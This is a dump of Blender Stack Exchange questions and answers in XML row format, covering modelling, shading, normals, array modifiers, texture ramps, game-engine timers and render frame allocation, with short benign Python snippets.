  <row Id="36452" PostTypeId="2" ParentId="36339" CreationDate="2015-08-26T00:20:59.677" Score="2" Body="&lt;p&gt;You can use a recursive function to find all the parents an object has, then multiply the object's matrix by all of the parents' matrices, then get the scale:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def get_parents( o, parents ):&#xA;    if o.parent: &#xA;        parents.append( o.parent )&#xA;        get_parents( o.parent, parents )&#xA;&#xA;    return parents&#xA;&#xA;o = bpy.context.object&#xA;parents = get_parents( o, [] )&#xA;&#xA;# Calc cumulative matrix:&#xA;global_matrix = o.matrix_world&#xA;for p in parents: global_matrix *= p.matrix_world&#xA;&#xA;global_scale     = global_matrix.to_scale()&#xA;new_global_scale = ( 5, 7, 9 )&#xA;&#xA;scale_ratio = [ ng / g for ng, g in zip( new_global_scale, global_scale  ) ]&#xA;&#xA;o.scale = [ axis * ratio for axis, ratio in zip( o.scale, scale_ratio ) ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="15861" LastEditDate="2015-08-26T11:18:11.890" LastActivityDate="2015-08-26T11:18:11.890" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36453" PostTypeId="2" ParentId="36449" CreationDate="2015-08-26T00:23:16.657" Score="3" Body="&lt;p&gt;To make it LOOK smooth, select the object, hit 'W' and select 'Shade Smooth'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To ADD POLYGONS, you can optionally select all faces (in face select mode) and hit 'W' then 'Subdivide' This will quadruple your face count. Once that's done, you might want to hit 'W' then 'Smooth' (which actually moves vertices to achieve a smoother mesh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you can go add a Subdivision Surface Object Modifier, adjust the 'view' and 'render' values until you like the mesh. Apply the modifier to get back to a fully editable mesh again.&lt;/p&gt;&#xA;" OwnerUserId="16665" LastEditorUserId="16665" LastEditDate="2015-08-26T14:25:30.967" LastActivityDate="2015-08-26T14:25:30.967" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36456" PostTypeId="2" ParentId="36444" CreationDate="2015-08-26T00:50:28.367" Score="3" Body="&lt;p&gt;&lt;strong&gt;NEW ANSWER&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at your current information, it looks like your real issue is that your normals are reversed. To fix this, &lt;kbd&gt;Tab&lt;/kbd&gt; into edit mode, select everything and then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;. That should fix it, but if it doesn't, press &lt;kbd&gt;W&lt;/kbd&gt; and look for flip normals, and click on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ORIGINAL ANSWER&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I know this isn't directly what you want, but changing the background color, or even the entire Blender theme is a way to make your objects more visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you make the background color darker, it will make your objects seem lighter in contrast (although it may make some of the darker elements fade out a bit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mw0Hc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mw0Hc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Darkened 3D view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8ENPw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ENPw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the extra contrast makes it seem brighter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you change the background color?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b9WsA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b9WsA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice that I highlighted an entire section. This is because there are options for gradients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For gradients to be used, the Use Gradient checkbox needs to be enabled. Then the color used for each end of it is the high or low color fields, each controlling their respective ends. For a solid colored background the High/Off color field is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To choose a new Blender theme, simply use the Presets dropdown to choose one.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-08-26T21:26:15.177" LastActivityDate="2015-08-26T21:26:15.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36457" PostTypeId="2" ParentId="36382" CreationDate="2015-08-26T00:56:34.613" Score="1" Body="&lt;p&gt;I don't quite know how to interpret the image, but here is a possibility:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch into edge or vertex selection mode. Press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to add a loop cut through the face ring in question, making sure to slide the new loop all the way down to the loop below it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UnyjA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UnyjA.png&quot; alt=&quot;adding edge loop&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;S&lt;/kbd&gt; and then &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to scale the new edge loop while locking the Z axis to get something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VNeMf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VNeMf.png&quot; alt=&quot;after adding edge loop and scaling it down&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cfZ2r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cfZ2r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1253" LastActivityDate="2015-08-26T00:56:34.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36458" PostTypeId="2" ParentId="36431" CreationDate="2015-08-26T01:05:01.370" Score="3" Body="&lt;p&gt;After you render out your image, press F3 in the UV image editor for the Save Image As function. You can also go to &lt;em&gt;Image&lt;/em&gt; -&gt; &lt;em&gt;Save As Image&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend checking out &lt;a href=&quot;https://blender.stackexchange.com/a/6772/8262&quot;&gt;this answer&lt;/a&gt; by gandalf3 which provides more detail as well as solutions.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2017-09-03T16:49:50.973" LastActivityDate="2017-09-03T16:49:50.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36460" PostTypeId="2" ParentId="36444" CreationDate="2015-08-26T01:30:55.437" Score="4" Body="&lt;p&gt;I'm afraid there is no way to fully fix this issue, but you can help slightly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;file&lt;/strong&gt; &gt; &lt;strong&gt;User Preferences&lt;/strong&gt; &gt; &lt;strong&gt;System&lt;/strong&gt; under &quot;&lt;em&gt;Solid OpenGL lights&lt;/em&gt;&quot; (1) you can see three sets of colours (2). &#xA;&lt;a href=&quot;https://i.stack.imgur.com/jjEWn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jjEWn.png&quot; alt=&quot;OpenGL lights&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing all of these to a full white, (Clicking on each then adjusting the colour to the brightest white.) will &lt;em&gt;help&lt;/em&gt; your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: After viewing your edited post, i can say this is what my answer does. But like i said only to a extent. But, i have noticed, if normal's are pointing inside of a object, it is darker, the dark side of your object is unusual. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try selecting the darker side in edit view with faces selected, then hold down 'CTRL' and press 'N'  this recalculates the normals. Also another thing to try is checking them manually. To do this, press 'N' then while in edit mode scroll down until you see a section called normals. (1)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TDdZ8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TDdZ8.png&quot; alt=&quot;Normals &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then click on one of the three boxes, i prefer faces (2) for normal things, but sometimes it doesn't matter what you prefer. &lt;/p&gt;&#xA;" OwnerUserId="11237" LastEditorUserId="11237" LastEditDate="2015-08-26T21:12:07.377" LastActivityDate="2015-08-26T21:12:07.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36461" PostTypeId="1" AcceptedAnswerId="36463" CreationDate="2015-08-26T02:17:24.597" Score="2" ViewCount="524" Body="&lt;p&gt;I have this hexagonal column that I made with an array modifier (with a rotated empty offset), since all 6 sides of it are the same. I need that column (the result of the first array) to be duplicated in a circle as well. When using empties as the offset, you need to position the object's origin where the empty is. The problem I face now is that I cannot use a second array modifier with an object offset on top of the first one, because I would have to move the object's origin (which is already positioned to make the first array work, and moving it will change the first array's result). Obviously I cannot have 2 origins for the same object. I know I can APPLY the first array and then move my origin for the second array but the whole point is to try to avoid this in case I need to modify the column itself. Any way I can make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UdRvv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UdRvv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14972" LastActivityDate="2015-08-27T18:19:46.780" Title="Multiple array modifiers and object offset rotation" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36462" PostTypeId="1" CreationDate="2015-08-26T02:41:16.943" Score="3" ViewCount="1168" Body="&lt;p&gt;I am using a voronoi texture set to &lt;em&gt;position&lt;/em&gt; coloring to drive a displacement modifier.  But I want to control the interpolation of the texture with a color ramp.  However when I go to the texture panel and check &lt;em&gt;ramp&lt;/em&gt; the effect of the displacement modifier seems to switch to &lt;em&gt;intensity&lt;/em&gt; coloring, even though the texture is still set to &lt;em&gt;position&lt;/em&gt;.  &lt;strong&gt;Why does it do this and how can I ramp a &lt;em&gt;position&lt;/em&gt; voronoi texture?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the texture setup with no ramp, working as expected:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8hAxW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8hAxW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the texture setup when I check ramp, the displacement now seems to be using &lt;em&gt;intensity&lt;/em&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/s8LXC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s8LXC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also notice that the preview has gone blank, I have no idea why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the kind of result I would like to achive:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YKgk4.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YKgk4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;This was made using the experimental cycles true displacement option, which is not an option for my final application.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-08-26T14:04:44.630" LastActivityDate="2015-08-26T14:04:44.630" Title="Why does voronoi texture switch use intensity coloring when ramped?" Tags="&lt;texturing&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36463" PostTypeId="2" ParentId="36461" CreationDate="2015-08-26T02:42:43.830" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add a second array modifier to your column.&lt;/li&gt;&#xA;&lt;li&gt;Crate a second empty at the same location of origin of the column and assign it in the second array modifier.&lt;/li&gt;&#xA;&lt;li&gt;Set the 3D Cursor where the center of the array should be.&lt;/li&gt;&#xA;&lt;li&gt;Set Pivot Point to 3D Cursor&lt;/li&gt;&#xA;&lt;li&gt;Select the second empty and rotate it on Z axis (360/count number in second array modifier)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/stmtq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/stmtq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-08-27T18:19:46.780" LastActivityDate="2015-08-27T18:19:46.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36465" PostTypeId="2" ParentId="36404" CreationDate="2015-08-26T05:55:05.307" Score="4" Body="&lt;p&gt;The default (logic) frame rate is 60 frames/sec. Therefore 60 is a good value for your purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more frame rates: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Animation frame rate (usually 24 frames/sec) used to play actions.&lt;/li&gt;&#xA;&lt;li&gt;Physics frame rate (usually matching the logic frame rate) to calculate the physics influence to a scene. Be aware it can be even finer with so called-substeps. More sub steps increase the precision of the physics calculation (but costs more processing time).&lt;/li&gt;&#xA;&lt;li&gt;Render frame rate (usually matching the logic frame rate) which tells how many images are rendered. If a frame lasts too long (exceeds the 1/60 time available) the BGE starts skipping the render trying to meet the frame rate. This can happen up to 5 times in a row. After that there is a forced render ignoring the time limit. The render frame rate is never higher than the logic frame rate as it is assumed there is no change to the scene and the output would be the same.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest to avoid this method to measure time. The BGE will try to keep the given frame rate as much as possible, but there is no guaranty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend to use a timer property. It counts the seconds. I think that is what you really want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you have several ways to show the time. I think you want to format it to minutes:seconds. You can use this little script &lt;code&gt;timeToText&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from datetime import datetime&#xA;&#xA;textObject = bge.logic.getCurrentController().owner&#xA;time = datetime.fromtimestamp(textObject[&quot;time&quot;])&#xA;textObject.text = '{:%M:%S}'.format(time)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It expects a property &lt;code&gt;time&lt;/code&gt; to provide the seconds and should be applied to an text object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hgXKZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hgXKZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can indeed refresh the display each 60 frames. But you will not know when the seconds changed. Therefore I suggest to run it constantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hint: If you want to show microseconds too, use this format: &lt;code&gt;{:%M:%S.%f}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-08-26T06:39:58.587" LastActivityDate="2015-08-26T06:39:58.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36466" PostTypeId="2" ParentId="36462" CreationDate="2015-08-26T08:17:52.413" Score="-1" Body="&lt;p&gt;The ramp color dominates the Voronoi [position] as we have witnessed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Design or Defect? Why? Perhaps the Blender Foundation can be asked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Blender Render texture settings can desaturate the position Voronoi colors to gray.&#xA;Once a gray is achieved the Blender Render can change colors based on a mapping space such as UV with a ramp.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture settings ramp can NOT change a color randomly based on a previous color, that information is not present.  That is a feature of the node systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The visual similarity of the color ramp in the Cycles Material Nodes and the Blender internal material/texture ramp is deceiving.  The Cycles node color ramp produces a color based on an input.  The Blender internal Material/Node color ramp specifies a color in a texture coordinate space which can be used to blend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You wrote&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ I want something like if I put a cells Voronoi texture through a color ramp in the cycles node editor].  The texture settings of the material/texture without nodes cannot do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps we are using Cycles nodes so much we forget the old lesser capabilities of Blender Internal Material Textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears we are looking for a feature in the wrong place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The node system of Blender Render can recolor a Voronoi texture based purely on color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The node system of Cycles Render can recolor a Voronoi texture based purely on color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course stating the some feature is not present in some area of Blender is a dangerous act.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-08-26T08:17:52.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36468" PostTypeId="2" ParentId="6341" CreationDate="2015-08-26T09:17:03.487" Score="3" Body="&lt;p&gt;There is also a &quot;border checkbox&quot; in &quot;Properties &gt; Render &gt; Dimensions panel&quot;, SteveW posted an &lt;a href=&quot;https://i.stack.imgur.com/8yyjc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;image&lt;/a&gt; of the panel &lt;a href=&quot;https://blender.stackexchange.com/questions/2014/render-borders-related-check-boxes-how-do-they-work&quot;&gt;in this post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16668" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-08-26T09:17:03.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36469" PostTypeId="1" AcceptedAnswerId="36473" CreationDate="2015-08-26T09:19:43.843" Score="2" ViewCount="287" Body="&lt;p&gt;These two objects have same settings (same material, same object settings, both are cut out + extruded pices of a sphere), but the smaller one has wery different shading. How to fix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eaSkd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eaSkd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lua5m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lua5m.png&quot; alt=&quot;all the normals are OK&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all the normals are OK&lt;/p&gt;&#xA;" OwnerUserId="16636" LastEditorUserId="16636" LastEditDate="2015-08-26T10:20:31.707" LastActivityDate="2015-08-26T10:43:16.273" Title="Different shading on same objects" Tags="&lt;shaders&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36472" PostTypeId="1" CreationDate="2015-08-26T10:41:32.707" Score="0" ViewCount="90" Body="&lt;p&gt;I'm making a go kart game and I need an opponent. I tried some things but they where all too difficult for me. Now I want to give the kart an animation so that it succesfully drives over the parcours. But I want to be able to push the kart around with mine so that it can be pushed of the road but that it tries to align itself again.&lt;/p&gt;&#xA;" OwnerUserId="16618" LastActivityDate="2015-08-26T10:41:32.707" Title="Can I make an animation in the blender game engine but still move the object how I want?" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36473" PostTypeId="2" ParentId="36469" CreationDate="2015-08-26T10:42:01.533" Score="1" Body="&lt;p&gt;Select the loopcuts (one by one) and use the edge slide &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt; --&gt; edge slide. and move them to the sides. Or you can move them by pressing &lt;kbd&gt;G&lt;/kbd&gt; two times so it will slide along the edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CiDxG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CiDxG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-26T10:42:01.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36474" PostTypeId="1" AcceptedAnswerId="36484" CreationDate="2015-08-26T11:28:37.323" Score="4" ViewCount="460" Body="&lt;p&gt;This is from an answer I received here: &lt;a href=&quot;https://blender.stackexchange.com/questions/36404/timers-and-animation-frame-rate&quot;&gt;timer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I suggest to avoid this method to measure time. The BGE will try to&#xA;  keep the given frame rate as much as possible, but there is no&#xA;  guaranty.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I recommend to use a timer property. It counts the seconds. I think&#xA;  that is what you really want.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Then you have several ways to show the time. I think you want to&#xA;  format it to minutes:seconds. You can use this little script&#xA;  &lt;code&gt;timeToText&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; import bge &#xA; from datetime import datetime&#xA;&#xA; textObject = bge.logic.getCurrentController().owner &#xA; time = datetime.fromtimestamp(textObject[&quot;time&quot;]) &#xA; textObject.text = '{:%M:%S}'.format(time)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It expects a property time to provide the seconds and should be&#xA;  applied to an text object.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hgXKZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hgXKZ.png&quot; alt=&quot;image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can indeed refresh the display each 60 frames. But you will not&#xA;  know when the seconds changed. Therefore I suggest to run it&#xA;  constantly.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Hint: If you want to show microseconds too, use this format:&#xA;  &lt;code&gt;{:%M:%S.%f}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This works. But the timer in bge counts upwards. What if I want it to count let's say from 30 minutes downwards? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I &quot;invert&quot; the timer?&#xA;I guess I can assign the original value 30 to the property time but how do I achieve the countdown logic afterwards?&lt;/p&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-08-26T14:52:27.837" Title="How do I invert this timer in BGE to make it count-down?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;properties&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36476" PostTypeId="2" ParentId="35398" CreationDate="2015-08-26T11:47:55.610" Score="4" Body="&lt;p&gt;As of &lt;a href=&quot;https://developer.blender.org/rBbac735380189c63d&quot; rel=&quot;nofollow&quot;&gt;this commit&lt;/a&gt; the new dependency graph system has been merged into master.&#xA;It is now possible to have everything in a single armature, and there will be no dependency cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details, check the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.75/Animation#Dependency_Graph&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="709" LastActivityDate="2015-08-26T11:47:55.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36477" PostTypeId="1" CreationDate="2015-08-26T12:03:03.653" Score="2" ViewCount="957" Body="&lt;p&gt;I have rendered an object, but cannot move it around, rotate it to see all sides of the object. Is it possible to move it?&lt;/p&gt;&#xA;" OwnerUserId="16706" LastEditorUserId="29" LastEditDate="2015-08-26T12:52:03.340" LastActivityDate="2016-04-19T18:00:16.637" Title="Rendered object Blender 2.74 can't be moved" Tags="&lt;rendering&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36478" PostTypeId="2" ParentId="36477" CreationDate="2015-08-26T12:16:14.860" Score="5" Body="&lt;p&gt;If you rendered it you can't move it around because it is a 2D picture. But before you render it you can look at it in the 3D viewport, by enabling the rendered display then you can rotate move etc. Make sure you use the Cycles Render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q0m3N.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q0m3N.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you can press &lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;, to switch between solid shading and rendered shading. (in the 3d viewport)&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="11237" LastEditDate="2015-08-26T14:51:45.533" LastActivityDate="2015-08-26T14:51:45.533" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36479" PostTypeId="1" AcceptedAnswerId="36480" CreationDate="2015-08-26T12:34:22.983" Score="2" ViewCount="89" Body="&lt;p&gt;Is there are way to render frames randomly from inside the blender interface?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm rendering for a project being coordinated over dropbox, the dropbox synx isn't as fast as I'd like and even with the overwrite setting off, we keep rendering the same frames. Randomly allocating frames will (at least initially) cut down on overwrite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/khbK1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/khbK1.png&quot; alt=&quot;overwrite is off&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="591" LastActivityDate="2015-08-26T12:50:35.087" Title="How to randomise rendered frame" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36480" PostTypeId="2" ParentId="36479" CreationDate="2015-08-26T12:43:39.700" Score="2" Body="&lt;p&gt;No there isn't a way to render a frame randomly - built-into Blender,&#xA;&lt;em&gt;although it wouldn't be so hard to write this as a Python script.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However using no-overwrite with an online file-system seems like asking for troubles, in this case its probably worth looking into some kind of render-farm software.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you know the total number of computers beforehand, you could give each its own frame-offset from the start and use a frame step, so they're not going to re-write each-others files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;code&gt;--frame-jump&lt;/code&gt; and &lt;code&gt;--frame-start&lt;/code&gt; option, to offset relative to the frame start.&#xA; &lt;a href=&quot;https://www.blender.org/manual/advanced/command_line.html#command-line-arguments&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/manual/advanced/command_line.html#command-line-arguments&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-08-26T12:50:35.087" LastActivityDate="2015-08-26T12:50:35.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
